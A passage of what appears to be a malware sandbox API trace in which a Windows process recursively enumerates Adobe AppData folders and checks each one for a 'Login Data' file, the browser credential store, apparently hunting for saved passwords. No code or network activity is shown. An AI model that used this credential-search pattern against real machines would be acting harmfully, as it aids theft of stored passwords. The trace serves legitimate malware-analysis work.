ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0199.446] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0199.446] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.446] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.446] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b238 [0199.447] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.447] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.447] FindClose (in: hFindFile=0x139b238 | out: hFindFile=0x139b238) returned 1 [0199.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0199.450] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.450] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.450] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0199.451] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.451] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.451] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.451] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobData", cAlternateFileName="")) returned 1 [0199.451] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0199.451] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 0 [0199.451] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.451] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.452] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.452] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.452] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0199.452] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0199.452] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0199.452] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.452] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.453] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.453] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.453] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0199.453] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0199.453] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 0 [0199.453] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.453] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0199.454] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.454] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0199.454] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0199.454] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0199.454] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0199.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0199.455] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.455] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0199.455] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0199.455] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0199.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.456] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.456] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.456] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.456] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.456] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, 